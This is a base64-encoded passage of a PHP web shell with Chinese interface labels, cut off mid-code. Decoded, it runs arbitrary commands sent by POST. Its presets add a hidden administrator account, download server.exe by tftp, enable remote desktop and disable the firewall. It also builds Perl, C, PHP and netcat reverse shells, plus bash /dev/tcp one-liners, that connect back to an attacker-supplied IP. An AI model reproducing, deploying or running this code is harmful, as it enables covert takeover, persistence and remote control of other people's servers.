X2dldCgib3Blbl9iYXNlZGlyIik/aW5pX2dldCgib3Blbl9iYXNlZGlyIik6Ik5VTEwiKSwKICAgICAgICAgICAgYXJyYXkoItTL0NDT2rCyyKvEo8q9IiwgSW5mb19DZmcoInNhZmVtb2RlIikpLAogICAgICAgICAgICBhcnJheSgit/7O8cb3udzA7dSxIiwgISRhZG1pbm1haWwpLAogICAgICAgICAgICBhcnJheSgisb7OxLz+wre+tiIsIF9fRklMRV9fKSwKICAgICAgICAgICAgYXJyYXkoItTK0O3KudPDIFVSTCC08r+qzsS8/iBhbGxvd191cmxfZm9wZW4iLCBJbmZvX0NmZygiYWxsb3dfdXJsX2ZvcGVuIikpLAogICAgICAgICAgICBhcnJheSgi1MrQ7cq508NjdXJsX2V4ZWMiLCBJbmZvX0Z1bigiY3VybF9leGVjIikpLAogICAgICAgICAgICBhcnJheSgi1MrQ7bavzKy809TYwbS907/iIGVuYWJsZV9kbCIsIEluZm9fQ2ZnKCJlbmFibGVfZGwiKSksCiAgICAgICAgICAgIGFycmF5KCLP1Mq+tO3O89DFz6IgZGlzcGxheV9lcnJvcnMiLCBJbmZvX0NmZygiZGlzcGxheV9lcnJvcnMiKSksCiAgICAgICAgICAgIGFycmF5KCLX1LavtqjS5cirvtax5MG/IHJlZ2lzdGVyX2dsb2JhbHMiLCBJbmZvX0NmZygicmVnaXN0ZXJfZ2xvYmFscyIpKSwKICAgICAgICAgICAgYXJyYXkoIm1hZ2ljX3F1b3Rlc19ncGMiLCBJbmZvX0NmZygibWFnaWNfcXVvdGVzX2dwYyIpKSwKICAgICAgICAgICAgYXJyYXkoIrPM0PLX7rbg1MrQ7cq508PE2rTmwb8gbWVtb3J5X2xpbWl0IiwgSW5mb19DZmcoIm1lbW9yeV9saW1pdCIpKSwKICAgICAgICAgICAgYXJyYXkoIlBPU1TX7rTz19a92sr9IHBvc3RfbWF4X3NpemUiLCBJbmZvX0NmZygicG9zdF9tYXhfc2l6ZSIpKSwKICAgICAgICAgICAgYXJyYXkoItTK0O3X7rTzyc+0q87EvP4gdXBsb2FkX21heF9maWxlc2l6ZSIsICR1cHNpemUpLAogICAgICAgICAgICBhcnJheSgis8zQ8tfus6TUy9DQyrG85CBtYXhfZXhlY3V0aW9uX3RpbWUiLCBJbmZvX0NmZygibWF4X2V4ZWN1dGlvbl90aW1lIikgLiAiw+siKSwKICAgICAgICAgICAgYXJyYXkoIrG7vfvTw7XEuq/K/SBkaXNhYmxlX2Z1bmN0aW9ucyIsICRkaXNfZnVuYyksCiAgICAgICAgICAgIGFycmF5KCJwaHBpbmZvKCkiLCAkcGhwaW5mbyksCiAgICAgICAgICAgIGFycmF5KCLEv8ewu7nT0L/V0+C/1bzkZGlza2ZyZWVzcGFjZSIsIGludHZhbChkaXNrZnJlZXNwYWNlKCIuIikgLyAoMTAyNCAqIDEwMjQpKSAuICdNYicpLAogICAgICAgICAgICBhcnJheSgizbzQzrSmwO0gR0QgTGlicmFyeSIsIEluZm9fRnVuKCJpbWFnZWxpbmUiKSksCiAgICAgICAgICAgIGFycmF5KCJJTUFQtefX09PKvP7Ptc2zIiwgSW5mb19GdW4oImltYXBfY2xvc2UiKSksCiAgICAgICAgICAgIGFycmF5KCJNeVNRTMr9vt2/4iIsIEluZm9fRnVuKCJteXNxbGlfY2xvc2UiKSksCiAgICAgICAgICAgIGFycmF5KCJTeUJhc2XK/b7dv+IiLCBJbmZvX0Z1bigic3liYXNlX2Nsb3NlIikpLAogICAgICAgICAgICBhcnJheSgiT3JhY2xlyv2+3b/iIiwgSW5mb19GdW4oIm9yYV9jbG9zZSIpKSwKICAgICAgICAgICAgYXJyYXkoIk9yYWNsZSA4IMr9vt2/4iIsIEluZm9fRnVuKCJPQ0lMb2dPZmYiKSksCiAgICAgICAgICAgIGFycmF5KCJQUkVMz+DI3dPvt6ggUENSRSIsIEluZm9fRnVuKCJwcmVnX21hdGNoIikpLAogICAgICAgICAgICBhcnJheSgiUERGzsS1tdans9YiLCBJbmZvX0Z1bigicGRmX2Nsb3NlIikpLAogICAgICAgICAgICBhcnJheSgiUG9zdGdyZSBTUUzK/b7dv+IiLCBJbmZvX0Z1bigicGdfY2xvc2UiKSksCiAgICAgICAgICAgIGFycmF5KCJTTk1QzfjC57ncwO3QrdLpIiwgSW5mb19GdW4oInNubXBnZXQiKSksCiAgICAgICAgICAgIGFycmF5KCLRucv1zsS8/tans9YoWmxpYikiLCBJbmZvX0Z1bigiZ3pjbG9zZSIpKSwKICAgICAgICAgICAgYXJyYXkoIlhNTL3izvYiLCBJbmZvX0Z1bigieG1sX3NldF9vYmplY3QiKSksCiAgICAgICAgICAgIGFycmF5KCJGVFAiLCBJbmZvX0Z1bigiZnRwX2xvZ2luIikpLAogICAgICAgICAgICBhcnJheSgiT0RCQ8r9vt2/4sGsvdMiLCBJbmZvX0Z1bigib2RiY19jbG9zZSIpKSwKICAgICAgICAgICAgYXJyYXkoIlNlc3Npb27Wp7PWIiwgSW5mb19GdW4oInNlc3Npb25fc3RhcnQiKSksCiAgICAgICAgICAgIGFycmF5KCJTb2NrZXTWp7PWIiwgSW5mb19GdW4oImZzb2Nrb3BlbiIpKSwKICAgICAgICApOwoKICAgICAgICBlY2hvICc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCI+JzsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkaW5mbyk7ICRpKyspIHsKICAgICAgICAgICAgZWNobyAnPHRyPjx0ZCB3aWR0aD0iNDAlIj4nIC4gJGluZm9bJGldWzBdIC4gJzwvdGQ+PHRkPicgLiAkaW5mb1skaV1bMV0gLiAnPC90ZD48L3RyPicgLiAiXG4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8dHI+PHRkIHdpZHRoPSI0MCUiPlRlcm1pbmFsIFNlcnZpY2W2y7/azqo8L3RkPjx0ZD4nIC4gIs601qoiIC4gJzwvdGQ+PC90cj4nIC4gIlxuIjsKICAgICAgICBlY2hvICc8dHI+PHRkIHdpZHRoPSI0MCUiPlRlbG5ldLbLv9rOqjwvdGQ+PHRkPicgLiAizrTWqiIgLiAnPC90ZD48L3RyPicgLiAiXG4iOwogICAgICAgIGVjaG8gJzx0cj48dGQgd2lkdGg9IjQwJSI+UGNBbnl3aGVyZbbLv9rOqjwvdGQ+PHRkPicgLiAizrTWqiIgLiAnPC90ZD48L3RyPicgLiAiXG4iOwogICAgICAgIGVjaG8gJzwvdGFibGU+JzsKICAgICAgICBicmVhazsKICAgIGNhc2UgImNtZCI6CiAgICAgICAgJHJlcyA9ICe72M/UtLC/2ic7CiAgICAgICAgJGNtZCA9ICd3aG9hbWknOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydjbWQnXSkpIHsKICAgICAgICAgICAgJHJlcyA9IEV4ZWNfUnVuKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydjbWQnXSkpOwogICAgICAgICAgICAkY21kID0gaHRtbHNwZWNpYWxjaGFycyhiYXNlNjRfZGVjb2RlKCRfUE9TVFsnY21kJ10pKTsKICAgICAgICB9CgogICAgICAgIHByaW50PDw8RU5ECjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBzRnVsbChpKXsKCVN0ciA9IG5ldyBBcnJheSgxMSk7CglTdHJbMF0gPSAiZGlyIjsKCVN0clsxXSA9ICJuZXQgdXNlciBteXNxbCQgZW52bCAvYWRkIjsKCVN0clsyXSA9ICJuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyBteXNxbCQgL2FkZCI7CglTdHJbM10gPSAibmV0c3RhdCAtYW5vIjsKCVN0cls0XSA9ICJpcGNvbmZpZyI7CglTdHJbNV0gPSAidGFza2xpc3QgL3N2YyI7CglTdHJbNl0gPSAidGZ0cCAtaSB7JF9TRVJWRVJbIlJFTU9URV9BRERSIl19IGdldCBzZXJ2ZXIuZXhlIGM6XFxzZXJ2ZXIuZXhlIjsKCVN0cls3XSA9ICdSRUcgQUREIEhLTE1cXFxcU1lTVEVNXFxcXEN1cnJlbnRDb250cm9sU2V0XFxcXENvbnRyb2xcXFxcVGVybWluYWwiICJTZXJ2ZXIgL3YgZkRlbnlUU0Nvbm5lY3Rpb25zIC90IFJFR19EV09SRCAvZCAwMDAwMDAwMCAvZic7CglTdHJbOF0gPSAibmV0c2ggYWR2ZmlyZXdhbGwgc2V0IGFsbHByb2ZpbGVzIHN0YXRlIG9mZiI7CglTdHJbOV0gPSAibHMgLWwiOwoJU3RyWzEwXSA9ICJjYXQgL3Byb2MvMS9jZ3JvdXAiOwoJU3RyWzExXSA9ICIwPCYxMjM7ZXhlYyAxMjM8Pi9kZXYvdGNwL3skX1NFUlZFUlsiUkVNT1RFX0FERFIiXX0vMTI2NjY7IHNoIDwmMTIzID4mMTIzIDI+JjEyMyI7CglTdHJbMTJdID0gImJhc2ggLWkgPiYgL2Rldi90Y3AveyRfU0VSVkVSWyJSRU1PVEVfQUREUiJdfS8yMzY2IDA+JjEiOwoJU3RyWzEzXSA9ICJuZXRzdGF0IC1hbnAiOwoJCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykudmFsdWUgPSBTdHJbaV07CglyZXR1cm4gdHJ1ZTsKfQpFTkQ7CiAgICAgICAgaHRtbF9iYXNlKCk7CiAgICAgICAgcHJpbnQ8PDxFTkQKZnVuY3Rpb24gU3VibWl0VXJsKCl7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbWQnKS52YWx1ZSA9IGJhc2U2NGVuY29kZShkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykudmFsdWUpOwoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ2Zvcm0nKS5zdWJtaXQoKTsKfQo8L3NjcmlwdD4KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJnZm9ybSIgaWQ9Imdmb3JtIiA+PGNlbnRlcj48ZGl2IGNsYXNzPSJhY3RhbGwiPta00NDD/MHu0MLU9rrctuDS/rLYuq/K/aOszeK808q508NCQVNFNjS808PczOG9u6Ost8DWubG7wLmjqNChz7i92qOstPOzyb7No6k8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPgrD/MHuss7K/SA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBpZD0iY21kIiB2YWx1ZT0ieyRjbWR9IiBvbmtleWRvd249ImlmKGV2ZW50LmtleUNvZGU9PTEzKVN1Ym1pdFVybCgpOyIgc3R5bGU9IndpZHRoOjM5OXB4OyI+CjxzZWxlY3Qgb25jaGFuZ2U9J3JldHVybiBzRnVsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+CjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPl9fd2luZG93c8P8we5fXzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxIj7M7bzTudzA7dSxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIiPsnozqq53MDt1+k8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyI+sum/tLbLv9o8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNCI+sum/tLXY1rc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNSI+sum/tL34s8w8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNiI+RlRQz8LU2Dwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI3Ij6/qjMzODk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iOCI+udix1bfAu/DHvTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI5Ij5fX0xpbnV4w/zB7l9fPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEwIj5kb2NrZXK87LLiPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjExIj5MaW51eLe0ta88L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTIiPmJhc2i3tLWvPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEzIj5MaW51eLbLv9o8L29wdGlvbj4KPC9zZWxlY3Q+Cgk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i1rTQ0CIgb25jbGljaz0iU3VibWl0VXJsKCk7IiBzdHlsZT0id2lkdGg6ODBweDsiPgo8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48dGV4dGFyZWEgbmFtZT0ic2hvdyIgc3R5bGU9IndpZHRoOjY2MHB4O2hlaWdodDozOTlweDsiPnskcmVzfTwvdGV4dGFyZWE+PC9kaXY+PC9jZW50ZXI+CjwvZm9ybT4KRU5EOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgImxpbnV4IjoKCiAgICAgICAgJHlvdXJpcCA9ICRfQ09PS0lFWyd5b3VyaXAnXSA/ICRfQ09PS0lFWyd5b3VyaXAnXSA6IGdldGVudignUkVNT1RFX0FERFInKTsKICAgICAgICAkeW91cnBvcnQgPSAkX0NPT0tJRVsneW91cnBvcnQnXSA/ICRfQ09PS0lFWyd5b3VycG9ydCddIDogJzEyMzg4JzsKCiAgICAgICAgJHN5c3RlbSA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpOwogICAgICAgIHByaW50PDw8RU5ECjxkaXYgY2xhc3M9ImFjdGFsbCI+yrnTw7e9t6ijujxicj4KCQkJz8jU2tfUvLq158TU1MvQ0CJuYyAtdnYgLWwgMTIzODgiPGJyPgoJCQnIu7rz1Nq0y8zu0LTE47XnxNS1xElQLLXjway906OhtMu3tLWvutzIq7rcyrXTw6OhsPzAqE5Dt7S1r6OhPC9kaXY+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ia2Zvcm0iIGlkPSJrZm9ybSI+CjxkaXYgY2xhc3M9ImFjdGFsbCI+xOO1xLXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InlvdXJpcCIgdmFsdWU9InskeW91cmlwfSIgc3R5bGU9IndpZHRoOjQwMHB4Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7BrL3Ttsu/2iA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ieW91cnBvcnQiIHZhbHVlPSJ7JHlvdXJwb3J0fSIgc3R5bGU9IndpZHRoOjQwMHB4Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7WtNDQt73KvSA8c2VsZWN0IG5hbWU9InVzZSIgPgo8b3B0aW9uIHZhbHVlPSJwZXJsIj5QZXJsPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImMiPkM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0icGhwIj5QSFA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0ibmMiPk5DPC9vcHRpb24+Cjwvc2VsZWN0PjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSK/qsq8way90yIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+CkVORDsKICAgICAgICBpZiAoKCFlbXB0eSgkX1BPU1RbJ3lvdXJpcCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ3lvdXJwb3J0J10pKSkgewogICAgICAgICAgICBzZXRjb29raWUoJ3lvdXJpcCcsICRfUE9TVFsneW91cmlwJ10pOwogICAgICAgICAgICBzZXRjb29raWUoJ3lvdXJwb3J0JywgJF9QT1NUWyd5b3VycG9ydCddKTsKCiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKICAgICAgICAgICAgaWYgKCRfUE9TVFsndXNlJ10gPT0gJ3BlcmwnKSB7CiAgICAgICAgICAgICAgICAkYmFja19jb25uZWN0X3BsID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU8yVmoiIC4KICAgICAgICAgICAgICAgICAgICAiYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIgLgogICAgICAgICAgICAgICAgICAgICJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUIiAuCiAgICAgICAgICAgICAgICAgICAgInNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0kiIC4KICAgICAgICAgICAgICAgICAgICAia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaSIgLgogICAgICAgICAgICAgICAgICAgICJLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsIiAuCiAgICAgICAgICAgICAgICAgICAgIk9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iOwogICAgICAgICAgICAgICAgZWNobyBGaWxlX1dyaXRlKCcvdG1wL2VudmxfYmMnLCBiYXNlNjRfZGVjb2RlKCRiYWNrX2Nvbm5lY3RfcGwpLCAnd2InKSA/ICe0tL2oL3RtcC9lbnZsX2Jjs8m5pjxicj4nIDogJ7S0vagvdG1wL2VudmxfYmPKp7DcPGJyPic7CiAgICAgICAgICAgICAgICAkcGVybHBhdGggPSBFeGVjX1J1bignd2hpY2ggcGVybCcpOwogICAgICAgICAgICAgICAgJHBlcmxwYXRoID0gJHBlcmxwYXRoID8gY2hvcCgkcGVybHBhdGgpIDogJ3BlcmwnOwogICAgICAgICAgICAgICAgQHVubGluaygnL3RtcC9lbnZsX2JjLmMnKTsKICAgICAgICAgICAgICAgIGVjaG8gRXhlY19SdW4oJHBlcmxwYXRoIC4gJyAvdG1wL2VudmxfYmMgJyAuICRfUE9TVFsneW91cmlwJ10gLiAnICcgLiAkX1BPU1RbJ3lvdXJwb3J0J10gLiAnICYnKSA/ICduYyAtdnYgLWwgJyAuICRfUE9TVFsneW91cnBvcnQnXSA6ICfWtNDQw/zB7sqnsNwnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX1BPU1RbJ3VzZSddID09ICdjJykgewogICAgICAgICAgICAgICAgJGJhY2tfY29ubmVjdF9jID0gIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIiAuCiAgICAgICAgICAgICAgICAgICAgIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiIC4KICAgICAgICAgICAgICAgICAgICAiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIgLgogICAgICAgICAgICAgICAgICAgICJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIiAuCiAgICAgICAgICAgICAgICAgICAgInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiIC4KICAgICAgICAgICAgICAgICAgICAiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIgLgogICAgICAgICAgICAgICAgICAgICJRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIiAuCiAgICAgICAgICAgICAgICAgICAgIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsKICAgICAgICAgICAgICAgIGVjaG8gRmlsZV9Xcml0ZSgnL3RtcC9lbnZsX2JjLmMnLCBiYXNlNjRfZGVjb2RlKCRiYWNrX2Nvbm5lY3RfYyksICd3YicpID8gJ7S0vagvdG1wL2VudmxfYmMuY7PJuaY8YnI+JyA6ICe0tL2oL3RtcC9lbnZsX2JjLmPKp7DcPGJyPic7CiAgICAgICAgICAgICAgICAkcmVzID0gRXhlY19SdW4oJ2djYyAtbyAvdG1wL2VudmxfYmMgL3RtcC9lbnZsX2JjLmMnKTsKICAgICAgICAgICAgICAgIEB1bmxpbmsoJy90bXAvZW52bF9iYy5jJyk7CiAgICAgICAgICAgICAgICBlY2hvIEV4ZWNfUnVuKCcvdG1wL2VudmxfYmMgJyAuICRfUE9TVFsneW91cmlwJ10gLiAnICcgLiAkX1BPU1RbJ3lvdXJwb3J0J10gLiAnICYnKSA/ICduYyAtdnYgLWwgJyAuICRfUE9TVFsneW91cnBvcnQnXSA6ICfWtNDQw/zB7sqnsNwnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX1BPU1RbJ3VzZSddID09ICdwaHAnKSB7CiAgICAgICAgICAgICAgICBpZiAoIWV4dGVuc2lvbl9sb2FkZWQoJ3NvY2tldHMnKSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkc3lzdGVtID09ICdXSU4nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIEBkbCgncGhwX3NvY2tldHMuZGxsJykgb3IgZGllKCJDYW4ndCBsb2FkIHNvY2tldCIpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIEBkbCgnc29ja2V0cy5zbycpIG9yIGRpZSgiQ2FuJ3QgbG9hZCBzb2NrZXQiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHN5c3RlbSA9PSAiV0lOIikgewogICAgICAgICAgICAgICAgICAgICRlbnYgPSBhcnJheSgncGF0aCcgPT4gJ2M6XFx3aW5kb3dzXFxzeXN0ZW0zMicpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkZW52ID0gYXJyYXkoJ1BBVEgnID0+ICcvYmluOi91c3IvYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW4nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgICAgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLAogICAgICAgICAgICAgICAgICAgIDIgPT4gYXJyYXkoInBpcGUiLCAidyIpLAogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICRob3N0ID0gJF9QT1NUWyd5b3VyaXAnXTsKICAgICAgICAgICAgICAgICRwb3J0ID0gJF9QT1NUWyd5b3VycG9ydCddOwogICAgICAgICAgICAgICAgJGhvc3QgPSBnZXRob3N0YnluYW1lKCRob3N0KTsKICAgICAgICAgICAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCJ0Y3AiKTsKICAgICAgICAgICAgICAgIGlmICgoJHNvY2sgPSBzb2NrZXRfY3JlYXRlKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pKSA8IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoIlNvY2tldLS0vajKp7DcIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoKCRyZXQgPSBzb2NrZXRfY29ubmVjdCgkc29jaywgJGhvc3QsICRwb3J0KSkgPCAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCLBrL3Tyqew3CIpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tUEhQt7S1r8GsvdMtLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsKICAgICAgICAgICAgICAgICAgICBzb2NrZXRfd3JpdGUoJHNvY2ssICRtZXNzYWdlLCBzdHJsZW4oJG1lc3NhZ2UpKTsKICAgICAgICAgICAgICAgICAgICAkY3dkID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKF9fRklMRV9fKSk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRjbWQgPSBzb2NrZXRfcmVhZCgkc29jaywgNjU1MzUsICRwcm90bykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHRyaW0oc3RydG9sb3dlcigkY21kKSkgPT0gImV4aXQiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzb2NrZXRfd3JpdGUoJHNvY2ssICJCeWVcbiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwcm9jZXNzID0gcHJvY19vcGVuKCRjbWQsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzLCAkY3dkLCAkZW52KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJHBpcGVzWzBdLCAkY21kKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbXNnID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNvY2tldF93cml0ZSgkc29jaywgJG1zZywgc3RybGVuKCRtc2cpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbXNnID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMl0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNvY2tldF93cml0ZSgkc29jaywgJG1zZywgc3RybGVuKCRtc2cpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0dXJuX3ZhbHVlID0gcHJvY19jbG9zZSgkcHJvY2Vzcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfUE9TVFsndXNlJ10gPT0gJ25jJykgewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOwogICAgICAgICAgICAgICAgJG1pcCA9ICRfUE9TVFsneW91cmlwJ107CiAgICAgICAgICAgICAgICAkYnBvcnQgPSAkX1BPU1RbJ3lvdXJwb3J0J107CiAgICAgICAgICAgICAgICAkZnAgPSBmc29ja29wZW4oJG1pcCwgJGJwb3J0LCAkZXJybm8sICRlcnJzdHIpOwogICAgICAgICAgICAgICAgaWYgKCEkZnApIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gIkVycm9yOiBjb3VsZCBub3Qgb3BlbiBzb2NrZXQgY29ubmVjdGlvbiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGZwdXRz